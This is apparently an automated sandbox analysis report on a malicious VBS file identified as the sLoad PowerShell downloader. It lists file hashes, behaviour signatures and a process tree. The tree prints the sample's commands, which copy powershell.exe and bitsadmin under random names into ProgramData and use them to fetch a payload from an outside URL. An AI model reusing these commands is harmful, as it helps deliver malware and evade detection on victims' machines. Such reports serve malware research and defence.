Analysis

  • max time kernel
    31s
  • max time network
    114s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    01-03-2021 12:28

General

  • Target

    00SBLFNC71R18D160W.vbs

  • Size

    699B

  • MD5

    70053c798a635f12c002e57eacb3bd26

  • SHA1

    4cbe4c33fc5f44265e15bb6e583f46c878a97341

  • SHA256

    43202b6bcac9d8c195da84abee91ebd15ee80337421dc6e0eaa1c2e1481bb123

  • SHA512

    62652ceb291614da3b19be434fe3db7f1777e080b3e030c370cea1112dbd81a677a917ef356265bdeed732af89ebab6760cd7996179a477fe595ae4795402c69

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\00SBLFNC71R18D160W.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1036
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aREepkDUA.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\lALIBfV*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2256
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aREepkDUA.exe
        3⤵
          PID:2832
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\lALIBfV*.exe
          3⤵
            PID:2960
        • C:\ProgramData\lALIBfVin.exe
          "C:\ProgramData\lALIBfVin.exe" /wrap /transfer wyajDGCI https://agaux.com/ogoksi/SBLFNC71R18D160W/developer.txt C:\ProgramData\developer.txt
          2⤵
          • Executes dropped EXE
          PID:984

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1036-2-0x0000025744B70000-0x0000025744B74000-memory.dmp

        Filesize

        16KB